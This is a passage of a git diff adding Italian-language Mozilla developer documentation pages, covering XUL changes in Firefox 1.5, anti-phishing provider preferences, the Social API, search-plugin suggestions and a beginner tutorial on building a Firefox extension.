+    "contributors": [
+      "PyQio",
+      "Italuil",
+      "Gianluigi"
+    ]
+  },
+  "Web/Web_Components": {
+    "modified": "2019-11-23T14:48:11.112Z",
+    "contributors": [
+      "theborgh"
+    ]
+  },
+  "Web/Web_Components/Usare_custom_elements": {
+    "modified": "2020-03-31T06:51:28.687Z",
+    "contributors": [
+      "massimiliano.mantovani"
+    ]
+  },
+  "Web/XSLT": {
+    "modified": "2019-01-16T16:09:31.557Z",
+    "contributors": [
+      "ExE-Boss",
+      "Verruckt",
+      "DaViD83",
+      "Federico"
+    ]
+  },
+  "WebSockets": {
+    "modified": "2019-03-23T23:27:06.479Z",
+    "contributors": [
+      "AlessandroSanino1994",
+      "br4in",
+      "music-wedding",
+      "pbrenna"
+    ]
+  },
+  "WebSockets/Writing_WebSocket_client_applications": {
+    "modified": "2019-03-23T22:14:26.473Z",
+    "contributors": [
+      "mnemosdev"
+    ]
+  },
+  "Web_Development/Mobile": {
+    "modified": "2019-03-23T23:24:04.119Z",
+    "contributors": [
+      "BenB"
+    ]
+  },
+  "Web_Development/Mobile/Design_sensibile": {
+    "modified": "2019-03-23T23:24:00.771Z",
+    "contributors": [
+      "SlagNe"
+    ]
+  },
+  "XHTML": {
+    "modified": "2019-01-16T16:01:20.965Z",
+    "contributors": [
+      "Federico",
+      "DaViD83",
+      "Indigo"
+    ]
+  },
+  "window.find": {
+    "modified": "2019-03-24T00:02:59.251Z",
+    "contributors": [
+      "khalid32",
+      "teoli",
+      "khela"
+    ]
+  }
+}
\ No newline at end of file
diff --git a/files/it/adattare_le_applicazioni_xul_a_firefox_1.5/index.html b/files/it/adattare_le_applicazioni_xul_a_firefox_1.5/index.html
new file mode 100644
index 0000000000..7062b6a3ae
--- /dev/null
+++ b/files/it/adattare_le_applicazioni_xul_a_firefox_1.5/index.html
@@ -0,0 +1,34 @@
+---
+title: Adattare le applicazioni XUL a Firefox 1.5
+slug: Adattare_le_applicazioni_XUL_a_Firefox_1.5
+tags:
+  - Estensioni
+  - Tutte_le_categorie
+  - XUL
+translation_of: Mozilla/Firefox/Releases/1.5/Adapting_XUL_Applications_for_Firefox_1.5
+---
+<div>{{FirefoxSidebar}}</div><p> </p>
+
+<p>Questa pagina contiene un elenco di modifiche in <a href="it/Firefox_1.5">Firefox 1.5</a>, che coinvolgono gli sviluppatori XUL.</p>
+
+<h3 id="Cambiamenti_specifici" name="Cambiamenti_specifici">Cambiamenti specifici</h3>
+
+<ul>
+ <li><a href="it/Modifica_dell'API_tree">Modifica dell'API tree</a></li>
+ <li><a href="it/Caratteri_internazionali_nei_JavaScript_XUL">Caratteri internazionali nei JavaScript XUL</a> (ha efficacia solo su quelle estensioni che hanno dei file JavaScript contenenti caratteri non-ASCII)</li>
+ <li><a href="it/Modifica_di_XMLHttpRequest_per_Gecko1.8">Modiche di XMLHttpRequest</a></li>
+ <li><a href="it/Cambiamenti_di_XUL_per_Firefox_1.5">Cambiamenti di XUL per Firefox 1.5</a></li>
+ <li><a href="it/XPCNativeWrapper">XPCNativeWrapper</a> sono attivati come opzione predefinita, e il comportamento è in parte cambiato rispetto alla versione 1.0.x</li>
+ <li>Un metodo più semplice di <a href="it/Registrazione_Chrome">Registrazione Chrome</a> rende obsoleto contents.rdf.</li>
+ <li>Per i menu contestuali con overlay: la funzione gContextMenu.linkURL() è stata rinominata come gContextMenu.getLinkURL(), e linkURL ora è una proprietà. Per utilizzarla mantenendo la retrocompatibilità:<br>
+  url = 'getLinkURL' in gContextMenu ? gContextMenu.getLinkURL() : gContextMenu.linkURL();</li>
+</ul>
+
+<h3 id="Altre_informazioni" name="Altre_informazioni">Altre informazioni</h3>
+
+<ul>
+ <li><a href="it/Utilizzare_nsIXULAppInfo">Come controllare la versione dell'applicazione utilizzando nsIXULAppInfo</a></li>
+ <li><a class="external" href="http://kb.mozillazine.org/Dev_:_Extensions_:_Cross-Version_Compatibility_Techniques">MozillaZine</a></li>
+</ul>
+
+<p>{{ languages( { "fr": "fr/Adaptation_des_applications_XUL_pour_Firefox_1.5", "en": "en/Adapting_XUL_Applications_for_Firefox_1.5" } ) }}</p>
diff --git a/files/it/aggiungere_fornitori_di_dati_anti-phishing/index.html b/files/it/aggiungere_fornitori_di_dati_anti-phishing/index.html
new file mode 100644
index 0000000000..cefea5fa76
--- /dev/null
+++ b/files/it/aggiungere_fornitori_di_dati_anti-phishing/index.html
@@ -0,0 +1,42 @@
+---
+title: Aggiungere fornitori di dati anti-phishing
+slug: Aggiungere_fornitori_di_dati_anti-phishing
+translation_of: Mozilla/Adding_phishing_protection_data_providers
+---
+<p>Grazie alla tecnologia di protezione dal phishing, Firefox aiuta i suoi utenti a proteggersi comparando gli URL che vengono visitati con una lista nera di siti maliziosi già conosciuti, e presentando un avviso all'utente che visita uno di tali siti.
+</p>
+<h2 id="Installare_un_nuovo_fornitore_di_dati">Installare un nuovo fornitore di dati</h2>
+<p>Per installare un fornitore di dati, è necessario impostare una serie di preferenze che contengono alcuni dettagli sul fornitore stesso.
+</p><p>Ogni fornitore ha un numero ID unico. Quello con ID 0 è il fornitore preimpostato da Firefox. Quando se ne installa uno nuovo, si dovrebbe utilizzare il numero più basso ancora inutilizzato.
+</p><p>Per trovare l'ID da utilizzare, è possibile creare un ciclo che richieda il valore di <code>browser.safebrowsing.provider.0.name</code>, poi quello di <code>browser.safebrowsing.provider.1.name</code>, e così via finchè non viene restituito alcun valore. Allora si sarà trovato il numero utilizzabile.
+</p><p>E' possibile trovare esempi di come accedere alle preferenze in lettura e in scrittura nell'articolo <a href="it/Aggiungere_preferenze_a_un'estensione">Aggiungere preferenze a un'estensione</a>.
+</p>
+<h3 id="Preferenze_richieste">Preferenze richieste</h3>
+<dl><dt> <code>browser.safebrowsing.provider.<i>idnum</i>.name</code>
+</dt><dd> Un nome descrittivo per il provider.
+</dd></dl>
+<dl><dt> <code>browser.safebrowsing.provider.<i>idnum</i>.keyURL</code>
+</dt><dd> Un URL che restituisca una chiave privata per la crittografia.
+</dd></dl>
+<dl><dt> <code>browser.safebrowsing.provider.<i>idnum</i>.lookupURL</code>
+</dt><dd> L'URL dove si può trovare la lista nera. La richiesta verrà criptata utilizzando la chiave privata restituita da <code>keyURL</code>.
+</dd></dl>
+<h3 id="Preferenze_opzionali">Preferenze opzionali</h3>
+<dl><dt> <code>browser.safebrowsing.provider.<i>idnum</i>.reportURL</code>
+</dt><dd> Un URL utilizzato per riportare quando un utente visita pagine <i>phisher</i> e se ha ignorato l'avviso o meno.
+</dd></dl>
+<dl><dt> <code>browser.safebrowsing.provider.<i>idnum</i>.updateURL</code>
+</dt><dd> Un URL utilizzato per richiedere aggiornamenti della lista dei siti maliziosi. Il server può fornire l'ultima versione della lista oppure aggiornamenti incrementali.
+</dd></dl>
+<dl><dt> <code>browser.safebrowsing.provider.<i>idnum</i>.reportGenericURL</code>
+</dt><dd> Un URL al quale l'utente viene direzionato quando desidera segnalare un sito "phisher" che non è stato rilevato dal sistema di protezione.
+</dd></dl>
+<dl><dt> <code>browser.safebrowsing.provider.<i>idnum</i>.reportErrorURL</code>
+</dt><dd> Un URL al quale l'utente viene direzionato quando desidera segnalare una pagina sicura che viene erroneamente considerata maliziosa.
+</dd></dl>
+<dl><dt> <code>browser.safebrowsing.provider.<i>idnum</i>.reportPhishURL</code>
+</dt><dd> Un URL al quale l'utente viene direzionato per riportare una pagina maliziosa.
+</dd></dl>
+<h2 id="Determinare_quale_provider_viene_utilizzato_correntemente">Determinare quale provider viene utilizzato correntemente</h2>
+<p>Per conoscere l'ID del provider attualmente selezionato, è possibile leggere il valore della preferenza <code>browser.safebrowsing.dataProvider</code>.
+</p>{{ languages( { "en": "en/Adding_phishing_protection_data_providers" } ) }}
diff --git a/files/it/api_sociale/index.html b/files/it/api_sociale/index.html
new file mode 100644
index 0000000000..8c10dbc9c5
--- /dev/null
+++ b/files/it/api_sociale/index.html
@@ -0,0 +1,63 @@
+---
+title: API Sociale
+slug: API_Sociale
+translation_of: Archive/Social_API
+---
+<p>L'API Sociale è una nuova API per rendere semplice per i browser internet integrare i servizi di social media. Quando un provider di servizio sociale è implementato in Firefox, è possibile mostrare  dentro al browser i comandi e le informazioni relative al servizio. L'articolo che segue spiega come implementare un servizio sociale.</p>
+<div class="note">
+ <p><strong>Nota:</strong> Alcuni dei contenuti di questa pagina sono stati scritti ma non sono stati inclusi nella sottocategoria; <a href="/en-US/docs/User:Sheppy/Social_API_temp" title="https://developer.mozilla.org/en-US/docs/User:Sheppy/Social_API_temp">li puoi trovare qui temporaneamente</a>.</p>
+</div>
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 class="Documentation" id="Documentazione_per_l'api_sociale">Documentazione per l'api sociale</h2>
+    <dl>
+     <dt>
+      <a href="/en-US/docs/Social_API/Glossary" title="/en-US/docs/Social_API/Glossary">Glossario API Sociale</a></dt>
+     <dd>
+      Provvede definizioni di parole chivi che dovrai capre per capire come usare l'API Sociale</dd>
+     <dt>
+      <a href="/en-US/docs/Social_API/Guide" title="/en-US/docs/Social_API/Guide">Social API and social service guide</a></dt>
+     <dd>
+      An introduction and guide to the Social API and the associated services.</dd>
+     <dt>
+      <a href="/en-US/docs/Social_API/Manifest" title="/en-US/docs/Social_API/Manifest">Social service manifest</a></dt>
+     <dd>
+      A description of—and guide to building—the manifest required</dd>
+     <dt>
+      <a href="/en-US/docs/Social_API/Service_worker_API_reference" title="/en-US/docs/Social_API/Service_worker_reference">Social service worker API reference</a></dt>
+     <dd>
+      A reference to the social service worker API.</dd>
+     <dt>
+      <a href="/en-US/docs/DOM/navigator.mozSocial" title="/en-US/docs/DOM/navigator.mozSocial">Social service content API: MozSocial</a></dt>
+     <dd>
+      A reference to the social service content API, which is provided by the {{domxref("navigator.MozSocial")}} object.</dd>
+     <dt>
+      <a href="/en-US/docs/Social_API/Widgets" title="/en-US/docs/Social_API/Widgets">Social service widgets</a></dt>
+     <dd>
+      A guide to the widgets provided by the social service.</dd>
+    </dl>
+    <p><span class="alllinks"><a href="/en-US/docs/tag/Social" title="/en-US/docs/tag/CSS">View All...</a></span></p>
+   </td>
+   <td>
+    <h2 class="Community" id="Community" name="Community">ricevi aiuto dalla comunità</h2>
+    <p>You need help on a Social API related problem and can't find the solution in the documentation?</p>
+    <ul>
+     <li>Ask your question on the Mozilla IRC channel: <a href="irc://irc.mozilla.org/socialdev" title="irc://irc.mozilla.org/socialdev">#socialdev</a></li>
+    </ul>
+    <p><span class="alllinks"><a class="external" href="http://www.catb.org/~esr/faqs/smart-questions.html" title="http://www.catb.org/~esr/faqs/smart-questions.html">Don't forget about the <em>netiquette</em>...</a></span></p>
+    <h2 class="Tools" id="Tools" name="Tools">strumenti e demo</h2>
+    <ul>
+     <li><a href="https://github.com/mixedpuppy/socialapi-demo" title="https://github.com/mixedpuppy/socialapi-demo">A sample social service provider on github</a>.</li>
+    </ul>
+    <p><span class="alllinks"><a href="/en-US/docs/tag/Social" title="/en-US/docs/tag/CSS:Tools">View All...</a></span></p>
+    <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">articoli relativi</h2>
+    <ul>
+     <li><a href="/en-US/docs/Apps" title="/en-US/docs/Apps">Open web apps</a></li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/it/archive/add-ons/index.html b/files/it/archive/add-ons/index.html
new file mode 100644
index 0000000000..caac45ae4c
--- /dev/null
+++ b/files/it/archive/add-ons/index.html
@@ -0,0 +1,8 @@
+---
+title: Add-ons
+slug: Archive/Add-ons
+translation_of: Archive/Add-ons
+---
+<p>In progress. Archived add-ons documentation.</p>
+
+<p>{{SubpagesWithSummaries}}</p>
diff --git a/files/it/archive/add-ons/supportare_i_suggerimenti_nei_plugin_di_ricerca/index.html b/files/it/archive/add-ons/supportare_i_suggerimenti_nei_plugin_di_ricerca/index.html
new file mode 100644
index 0000000000..d3470577ac
--- /dev/null
+++ b/files/it/archive/add-ons/supportare_i_suggerimenti_nei_plugin_di_ricerca/index.html
@@ -0,0 +1,52 @@
+---
+title: Supportare i suggerimenti nei plugin di ricerca
+slug: Archive/Add-ons/Supportare_i_suggerimenti_nei_plugin_di_ricerca
+tags:
+  - Plugin_di_ricerca
+translation_of: Archive/Add-ons/Supporting_search_suggestions_in_search_plugins
+---
+<p>MozSearch supporta i suggerimenti di ricerca; mentre l'utente scrive nella barra di ricerca, <a href="it/Firefox_2">Firefox 2</a> interroga l'URL specificato dal plugin di ricerca per ottenere i suggerimenti di ricerca.
+</p><p>Una volta che la lista è stata ottenuta, viene mostrata in una casella popup che appare sotto la barra di ricerca, che permette all'utente di selezionare uno dei termini suggeriti. Se l'utente continua a scrivere, una nuova lista di suggerimenti viene richiesta dal motore di ricerca e la casella si aggiorna.
+</p><p>I plugin di ricerca per Yahoo e Google inclusi in Firefox 2 supportano i suggerimenti di ricerca.
+</p>
+<h2 id="Implementare_il_supporto_per_i_suggerimenti_nel_plugin" name="Implementare_il_supporto_per_i_suggerimenti_nel_plugin">Implementare il supporto per i suggerimenti nel plugin</h2>
+<p>Per supportare i suggerimenti di ricerca, un plugin deve definire un elemento <code>&lt;Url&gt;</code> con un attributo <code>type</code> impostato a <code>"application/x-suggestions+json"</code>. Questo significa che ci saranno due elementi <code>&lt;Url&gt;</code>: l'altro è l'URL principale della ricerca.
+</p><p>Per esempio, il plugin di Yahoo ha il seguente <code>&lt;Url&gt;</code>:
+</p>
+<pre>&lt;Url type="application/x-suggestions+json" template="http://ff.search.yahoo.com/gossip?output=fxjson&amp;command={searchTerms}"/&gt;
+</pre>
+<p>Se l'utente scrive "fir" nella barra di ricerca e poi fa una pausa, Firefox inserirà "fir" al posto di <code>{searchTerms}</code> e interrogherà l'URL:
+</p>
+<pre>&lt;Url type="application/x-suggestions+json" template="http://ff.search.yahoo.com/gossip?output=fxjson&amp;command=fir"/&gt;
+</pre>
+<p>I risultati dell'interrogazione costituiranno la lista di suggerimenti.
+</p><p>Si veda <a href="it/Creare_Plugin_MozSearch">Creare Plugin MozSearch</a> per ulteriori informazioni su come implementare un plugin di ricerca.
+</p>
+<h2 id="Implementare_il_supporto_per_i_suggerimenti_sul_server" name="Implementare_il_supporto_per_i_suggerimenti_sul_server">Implementare il supporto per i suggerimenti sul server</h2>
+<p>La maggior parte del lavoro per gestire i suggerimenti di ricerca è effettivamente implementarli lato server. Se si desidera farlo, si deve implementare un programma che, ricevendo come parametri i termini di ricerca, restituisca i suggerimenti. Il programma sarà scritto in <a class="external" href="http://www.json.org/">JavaScript Object Notation</a> (JSON).
+</p><p>Quando un browser vuole ricevere una lista di corrispondenze per un dato termine, invia una richiesta HTTP GET all'URL specificato dall'elemento <code>&lt;Url&gt;</code>.
+</p><p>Il server dovrà allora decidere quali suggerimenti offrire utilizzando quelli che vi si addicono e costruire un JSON che consiste di un minimo di due e un massimo di quattro elementi:
+</p>
+<dl><dt> <b>query string</b>
+</dt><dd> Il primo elemento nella query string originale in JSON. Questo permette a Firefox di verificare che il suggerimento corrisponda a quanto digitato dall'utente.
+</dd></dl>
+<dl><dt> <b>completion list</b>
+</dt><dd> Un array di suggerimenti. L'array deve essere racchiuso tra parentesi quadre. Per esempio: &lt;tt&gt;{{ mediawiki.external('\"termine 1\", \"termine 2\", \"termine 3\", \"termine 4\"') }}&lt;/tt&gt;
+</dd></dl>
+<dl><dt> <b>descriptions</b>
+</dt><dd> Questo elemento è opzionale ed è un array di descrizioni per ognuno dei suggerimenti presenti nella <i>completion list</i>. Queste possono essere informazioni aggiuntive che il motore di ricerca potrebbe restituire perchè vengano visualizzate dal browser, così come il numero di risultati che verranno trovati.
+</dd></dl>
+<div class="note">Questo elemento non è supportato in Firefox 2 e se presente sarà ignorato.</div>
+<dl><dt> <b>URL</b>
+</dt><dd> Questo elemento è opzionale ed è un array di URL alternativi per ognuno dei suggerimenti presenti nella <i>completion list</i>. Per esempio, se si desidera offrire una mappa di link invece di una semplice pagina di risultati, è possibile restituire un URL a una mappa in questo array.
+</dd></dl>
+<dl><dd> Se non si specifica un URL da interrogare, viene utilizzato l'URL di default specificato nell'elemento <code>&lt;Url&gt;</code> del plugin.
+</dd></dl>
+<div class="note">Questo elemento non è supportato in Firefox 2 e se presente sarà ignorato.</div>
+<p>Per esempio, se il termine di ricerca è "fir" e non si necessita di restituire alcuna descrizione o URL di ricerca alternativo, si può restituire il sequente JSON:
+</p>
+<pre class="eval">["fir", ["firefox", "first choice", "mozilla firefox"]]
+</pre>
+<p>Si noti che in questo esempio sono stati specificati solo la query string e l'array di completamento, tralasciando tutti gli elementi opzionali.
+</p><p>La completion list può includere tanti suggerimenti quanti si desidera offrirne, sebbene sia meglio mantenerla maneggevole, dato che la casella dei suggerimenti si aggiorna mente l'utente continua a scrivere. Inoltre, il criterio utilizzato per selezionare i suggerimenti da offrire viene lasciato interamente allo sviluppatore.
+</p>{{ languages( { "en": "en/Supporting_search_suggestions_in_search_plugins" } ) }}
diff --git a/files/it/archive/add-ons/sviluppare_un_estensione/index.html b/files/it/archive/add-ons/sviluppare_un_estensione/index.html
new file mode 100644
index 0000000000..84f5df691e
--- /dev/null
+++ b/files/it/archive/add-ons/sviluppare_un_estensione/index.html
@@ -0,0 +1,242 @@
+---
+title: Sviluppare un'Estensione
+slug: Archive/Add-ons/Sviluppare_un_Estensione
+tags:
+  - Estensioni
+  - Tutte_le_categorie
+translation_of: Archive/Add-ons/Developing_add-ons
+---
+<p> </p>
+<h4 id="Introduzione" name="Introduzione">Introduzione</h4>
+<p>Questo tutorial accompagnerà passo-passo nella creazione di un'estensione semplice e basilare che permetta di aggiungere un pannello alla barra di stato contenente il testo "Hello, World!"</p>
+<div class="note">
+ <p><b>Nota</b> Questo tutorial si rifersice allo sviluppo di un'estensione per Firefox 1.5. Esistono altri tutorial per le precedenti versioni di Firefox.</p>
+</div>
+<h4 id="Organizzare_l.27ambiente_di_sviluppo" name="Organizzare_l.27ambiente_di_sviluppo">Organizzare l'ambiente di sviluppo</h4>
+<p>Le estensioni vengono impacchettate e distribuite in file ZIP, o <a href="it/Bundles">Bundles</a>, con l'estensione &lt;tt&gt;xpi&lt;/tt&gt; (
+ <i>
+  pronunciata “zippy”</i>
+ ). Lo schema del contenuto di un file XPI è simile a questo:</p>
+<pre class="eval">extension.xpi:
+              /<a href="it/Install.rdf">install.rdf</a>
+              <a href="#Componenti_XPCOM">/components/*</a>
+              <a href="#Linea_di_comando_per_l.27applicazione">/components/cmdline.js</a>
+              <a href="#File_predefiniti">/defaults/</a>
+              <a href="#File_predefiniti">/defaults/preferences/*.js</a>
+              /plugins/*
+              /<a href="it/Chrome.manifest">chrome.manifest</a>
+              /<a href="it/Chrome_window_icons">chrome/icons/default/*</a>
+              /chrome/
+              /chrome/content/
+
+</pre>
+<p>Per questo motivo è consigliabile organizzare i file sorgente in una struttura simile, a meno che non si voglia scrivere un qualche tipo di Makefile or shell script per impacchettare e comprimere i propri file. Anche qualora si sia in grado di farlo, è molto più semplice eseguire i test attraverso la struttura sopra indicata a causa delle caratteristiche del sistema di installazione delle estensioni di Firefox 1.5.</p>
+<p>Iniziamo. Crea una cartella per l'estensione da qualche parte sull'hard disk, ad es. &lt;tt&gt;C:\extensions\myExtension\&lt;/tt&gt; o &lt;tt&gt;~/extensions/myExtension/&lt;/tt&gt;. Dentro questa cartella crea un'altra cartella chiamata &lt;tt&gt;chrome&lt;/tt&gt;, e all'interno della cartella &lt;tt&gt;chrome&lt;/tt&gt; crea un'altra cartella chiamata &lt;tt&gt;content&lt;/tt&gt;. (Su sistemi di tipo Unix è possibile creare tutte e tre le directory eseguendo semplicemente &lt;tt&gt;mkdir -p chrome/content&lt;/tt&gt; dalla directory di root dell'estensione.)</p>
+<p>Dentro alla <b>root</b> della cartella dell'estensione, insieme alla cartella &lt;tt&gt;chrome&lt;/tt&gt;, crea due nuovi file di testo vuoti, uno chiamato &lt;tt&gt;chrome.manifest&lt;/tt&gt;, l'altro invece &lt;tt&gt;install.rdf&lt;/tt&gt;.</p>
+<p>Altri suggerimenti sull'organizzazione dell'ambiente di sviluppo possono essere trovati su <a class="external" href="http://kb.mozillazine.org/Setting_up_extension_development_environment">Mozillazine Knowledge Base</a>(EN).</p>
+<h4 id="Creare_il_manifesto_di_installazione" name="Creare_il_manifesto_di_installazione">Creare il manifesto di installazione</h4>
+<p>Apri il file chiamato &lt;tt&gt;<a href="it/Install_Manifests">install.rdf</a>&lt;/tt&gt; che hai creato al vertice della gerarchia delle cartelle dell'estensione e scrivici dentro:</p>
+<pre class="eval">&lt;?xml version="1.0"?&gt;
+
+&lt;RDF xmlns="<span class="nowiki">http://www.w3.org/1999/02/22-rdf-syntax-ns#</span>"
+     xmlns:em="<span class="nowiki">http://www.mozilla.org/2004/em-rdf#</span>"&gt;
+
+  &lt;Description about="urn:mozilla:install-manifest"&gt;
+    &lt;em:id&gt;<b><a class="link-mailto" href="mailto:sample@foo.net" rel="freelink">sample@foo.net</a></b>&lt;/em:id&gt;
+    &lt;em:version&gt;<b>1.0</b>&lt;/em:version&gt;
+    &lt;em:type&gt;2&lt;/em:type&gt;
+
+    &lt;!-- Target Application this extension can install into,
+         with minimum and maximum supported versions. --&gt;
+    &lt;em:targetApplication&gt;
+      &lt;Description&gt;
+        &lt;em:id&gt;<b>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</b>&lt;/em:id&gt;
+        &lt;em:minVersion&gt;<b>1.0+</b>&lt;/em:minVersion&gt;
+        &lt;em:maxVersion&gt;<b>1.5.0.*</b>&lt;/em:maxVersion&gt;
+      &lt;/Description&gt;
+    &lt;/em:targetApplication&gt;
+
+    &lt;!-- Front End MetaData --&gt;
+    &lt;em:name&gt;<b>Esempio!</b>&lt;/em:name&gt;
+    &lt;em:description&gt;<b>Estensione di prova</b>&lt;/em:description&gt;
+    &lt;em:creator&gt;<b>Il tuo nome</b>&lt;/em:creator&gt;
+    &lt;em:homepageURL&gt;<b><span class="nowiki">http://www.iltuositoweb.com/</span></b>&lt;/em:homepageURL&gt;
+  &lt;/Description&gt;
+&lt;/RDF&gt;
+</pre>
+<ul>
+ <li><b><a class="link-mailto" href="mailto:sample@foo.net" rel="freelink">sample@foo.net</a></b> - è l'ID dell'estensione. E' un valore che serve ad identificare l'estensione con il formato di un indirizzo e-mail (N.B. non deve essere il
+  <i>
+   tuo</i>
+  indirizzo e-mail). Rendilo unico. Si può anche usare un GUID.</li>
+ <li>Specifica &lt;tt&gt;&lt;em:type&gt;2&lt;/em:type&gt;&lt;/tt&gt; -- il 2 indica che viene descritta un'estensione (vedere <a href="it/Manifesti_di_installazione#Tipi">Manifesti di installazione#Tipi</a> per i codici di altri tipi).</li>
+ <li><b>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</b> - rappresenta l'ID della applicazione per Firefox.</li>
+ <li><b>1.0+</b> - la versione minima di Firefox con la quale si afferma che funzioni l'estensione. Imposta questo valore come la minima versione di Firefox sulla quale si ha l'intenzione di eseguire test e di correggere gli errori.</li>
+ <li><b>1.5.0.*</b> - rappresenta la massima versione di Firefox con la quale si afferma che funzioni l'estensione. Non impostare questo valore ad una versione maggiore di quella più nuova attualmente disponibile!</li>
+</ul>
+<p>Guarda <a href="it/Manifesti_di_installazione">Manifesti di installazione</a> per un elenco completo delle proprietà richieste e opzionali.</p>
+<p>Salva il file.</p>
+<h4 id="Estendere_il_browser_con_XUL" name="Estendere_il_browser_con_XUL">Estendere il browser con XUL</h4>
+<p>L'interfaccia utente di Firefox è scritta in XUL e JavaScript. <a href="it/XUL">XUL</a> è una grammatica XML che fornisce all'interfaccia utente dei componenti come pulsanti, menu, barre degli strumenti, strutture ad albero, etc. Le azioni dell'utente sono invece collegate alle funzionalità attraverso dei JavaScript.</p>
+<p>Per estendere il borwser si modificano parti dell'UI del browser aggiungendo o modificando i componenti. Si aggiungono componenti inserendo nuovi elementi XUL DOM nella finestra del browser, e si modificano usando script e associando dei gestori di eventi.</p>
+<p>Il browser è implementato in un file XUL chiamato &lt;tt&gt;browser.xul&lt;/tt&gt; (&lt;tt&gt;$FIREFOX_INSTALL_DIR/chrome/browser.jar&lt;/tt&gt; che contiene &lt;tt&gt;content/browser/browser.xul&lt;/tt&gt;). Dentro browser.xul si può trovare la barra di stato, che assomiglierà a qualcosa del genere:</p>
+<pre class="eval">&lt;statusbar id="status-bar"&gt;
+ ... &lt;statusbarpanel&gt;s ...
+&lt;/statusbar&gt;
+</pre>
+<p>&lt;tt&gt;&lt;statusbar id="status-bar"&gt;&lt;/tt&gt; è un "punto di fusione" per un Overlay XUL.</p>
+<h5 id="Overlay_XUL" name="Overlay_XUL">Overlay XUL</h5>
+<p>Gli <a href="it/Overlay_XUL">Overlay XUL</a> sono un modo di associare altri oggetti UI a un documento XUL al momento dell'esecuzione. Un Overlay XUL è un file .xul che specifica dei frammenti del file XUL da inserire in specifici "punti di fusione" contenuti nel documento principale. Questi frammenti possono indicare l'inserimento, la rimozione o la modifica degli oggetti.</p>
+<p><b>Esempio di un documento di Overlay XUL</b></p>
+<pre class="eval">&lt;?xml version="1.0"?&gt;
+&lt;overlay id="sample"
+         xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
+ &lt;statusbar id="<b>status-bar</b>"&gt;
+  &lt;statusbarpanel id="my-panel" label="Hello, World"/&gt;
+ &lt;/statusbar&gt;
+&lt;/overlay&gt;
+</pre>
+<p>La &lt;tt&gt;&lt;statusbar&gt;&lt;/tt&gt; chiamata &lt;tt&gt;<b>status-bar</b>&lt;/tt&gt; indica il "punto di fusione" all'interno della finestra del browser al quale si intende associare la modifica.</p>
+<p>Il figlio &lt;tt&gt;&lt;statusbarpanel&gt;&lt;/tt&gt; rappresenta un nuovo oggetto da inserire all'interno del punto di fusione.</p>
+<p>Usa questo semplice codice e salvalo in un file chiamato &lt;tt&gt;<b>sample.xul</b>&lt;/tt&gt; dentro la cartella &lt;tt&gt;chrome/content&lt;/tt&gt; che hai creato.</p>
+<p>Per ulteriori informazioni circa l'inserimento di oggetti e la modifica dell'interfaccia utente attraverso gli Overlay, guarda sotto.</p>
+<h4 id="URI_Chrome" name="URI_Chrome">URI Chrome</h4>
+<p>I file XUL sono parti del "<a href="it/Registrazione_del_Chrome">Pacchetto Chrome</a>" - una serie di componenti dell'interfaccia utente che vengono caricati attraverso indirizzi URI &lt;tt&gt;<a class="external" rel="freelink">chrome://</a>&lt;/tt&gt;. Invece di caricare il browser da disco usando un URI &lt;tt&gt;<a class="external" rel="freelink">file://</a>&lt;/tt&gt; (poichè l'ubicazione di Firefox nel sistema può cambiare da piattaforma a piattaforma e da sitema a sistema), gli sviluppatori di Mozilla hanno trovato una soluzione per creare degli URI al contenuto XUL che l'applicazione installata possa conoscere.</p>
+<p>Ad esempio, la finestra del browser è: &lt;tt&gt;<a class="external" rel="freelink">chrome://browser/content/browser.xul</a>&lt;/tt&gt; Prova a digitare questa URL nella barra degli indirizzi di Firefox!</p>
+<p>Gli URI Chrome sono composti da diversi componenti:</p>
+<ul>
+ <li>Primo, lo <b>schema URI</b> (&lt;tt&gt;chrome&lt;/tt&gt;) che comunica alla libreria del networking di Firefox che si è in presenza di un URI Chrome e che il contenuto in fase di caricamento dovrà essere trattato in modo particolare.</li>
+ <li>Secondo, il nome del pacchetto (nel esempio sopra, &lt;tt&gt;<b>browser</b>&lt;/tt&gt;) che identifica la serie dei componenti dell'interfaccia utente. Tale nome dovrebbe essere unico per l'applicazione, per evitare collisioni tra le estensioni.</li>
+ <li>Terzo, il tipo di dati che viene richiesto. Ce ne sono di tre tipi: &lt;tt&gt;content&lt;/tt&gt; (XUL, JavaScript, XBL bindings, etc. che plasmano la struttura ed il comportamento di un'applicazione UI), &lt;tt&gt;locale&lt;/tt&gt; (file DTD, .properties, etc che contengono le stringhe per la <a href="it/Localizzazione">localizzazione</a>), e &lt;tt&gt;skin&lt;/tt&gt; (CSS e immagini che disegnano il <a href="it/Temi">Tema</a> della UI)</li>
+ <li>Da ultimo, il percorso del file da caricare.</li>
+</ul>
+<p>Quindi, &lt;tt&gt;<a class="external" rel="freelink">chrome://foo/skin/bar.png</a>&lt;/tt&gt; carica il file &lt;tt&gt;bar.png&lt;/tt&gt; dalla sezione &lt;tt&gt;skin&lt;/tt&gt; del tema &lt;tt&gt;foo&lt;/tt&gt;.</p>
+<p>Quando si carica un file mediante l'URI Chrome, Firefox usa il Registro del Chrome per tradurre questi URI nella effettiva sorgente del file su disco (o nel pacchetto JAR).</p>
+<h4 id="Creare_il_manifesto_di_installazione_2" name="Creare_il_manifesto_di_installazione_2">Creare il manifesto di installazione</h4>
+<p>Per maggiori informazioni sul Chrome Manifest e le proprietà supportate, guarda il riferimento sul <a href="it/Chrome_Manifest">Chrome Manifest</a>.</p>
+<p>Apri il file chiamato &lt;tt&gt;<b>chrome.manifest</b>&lt;/tt&gt; che hai creato insieme alla directory &lt;tt&gt;chrome&lt;/tt&gt; nella root dell'estensione.</p>
+<p>Aggiungi questo codice:</p>
+<pre class="eval">content     sample    chrome/content/
+</pre>
+<p>(<b>Non dimenticare gli slash posteriori, "&lt;tt&gt;/&lt;/tt&gt;"!</b> Senza, l'estensione non verrà caricata.)</p>
+<p>Il codice indica:</p>
+<ol>
+ <li>il tipo di materiale all'interno del pacchetto chrome</li>
+ <li>il nome del pacchetto chrome</li>
+ <li>la ubicazione dei file del pacchetto chrome</li>
+</ol>
